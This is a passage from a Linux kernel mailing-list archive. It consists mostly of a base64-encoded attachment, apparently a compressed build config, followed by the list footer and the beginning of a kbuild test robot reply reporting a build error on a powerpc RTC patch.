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

--TB36FDmn/VVEgNH/--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 3/6] powerpc: rtc: provide rtc_class_ops directly
Date: Wed, 2 Mar 2016 02:37:14 +0800
Lines: 142
Approved: news@gmane.org
Message-ID: <201603020228.jios50eU%fengguang.wu@intel.com>
References: <1456851608-3374907-4-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="X1bOJ3K7DJ5YkBrT"
X-Trace: ger.gmane.org 1456857512 17011 80.91.229.3 (1 Mar 2016 18:38:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 18:38:32 +0000 (UTC)
Cc: kbuild-all@01.org,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Mar 01 19:38:24 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1aapBf-00040X-2G
	for glpm-linux-m68k@plane.gmane.org; Tue, 01 Mar 2016 19:38:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751458AbcCASiW (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 1 Mar 2016 13:38:22 -0500
Original-Received: from mga02.intel.com ([134.134.136.20]:48875 "EHLO mga02.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751342AbcCASiV (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 1 Mar 2016 13:38:21 -0500
Original-Received: from orsmga003.jf.intel.com ([10.7.209.27])
  by orsmga101.jf.intel.com with ESMTP; 01 Mar 2016 10:38:20 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,524,1449561600"; 
   d="gz'50?scan'50,208,50";a="756156113"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga003.jf.intel.com with ESMTP; 01 Mar 2016 10:38:16 -0800
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu@intel.com>)
	id 1aapBY-000G5X-U1; Wed, 02 Mar 2016 02:38:16 +0800
Content-Disposition: inline
In-Reply-To: <1456851608-3374907-4-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8325 gmane.linux.ports.arm.kernel:483200 gmane.linux.ports.ppc64.devel:124310 gmane.linux.ports.sh.devel:53484 gmane.linux.ports.parisc:26508 gmane.linux.kernel:2165541
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8325>


--X1bOJ3K7DJ5YkBrT
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Arnd,

[auto build test ERROR on abelloni/rtc-next]
